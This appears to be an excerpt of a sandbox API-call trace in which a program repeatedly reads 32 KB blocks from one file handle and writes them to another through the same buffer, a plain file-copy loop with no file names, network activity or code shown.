	[0262.932] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.932] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.933] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.933] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.934] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.934] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.935] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.935] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.936] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.948] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.952] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.952] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.953] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.953] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.953] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.954] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.954] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.954] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.955] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.955] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.956] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.956] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.956] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.956] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.957] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.958] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.960] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.960] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.960] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.961] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.961] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.961] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.962] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.962] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.963] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.963] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.964] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.964] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.977] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.978] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.978] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.979] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.980] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.981] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.981] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.981] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.982] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.982] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.983] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.983] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.984] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.984] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.984] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.985] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.985] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.985] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.986] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.987] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.988] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.988] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.989] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.989] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.989] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.990] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.990] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.991] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.991] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.991] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.992] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.992] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.993] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.993] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.993] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.009] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.014] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.014] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.015] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.015] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.023] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.023] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.024] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.024] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.033] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.034] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.034] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.034] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.035] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.035] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.036] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.037] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.038] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.038] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.039] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.039] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.040] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.040] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.041] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
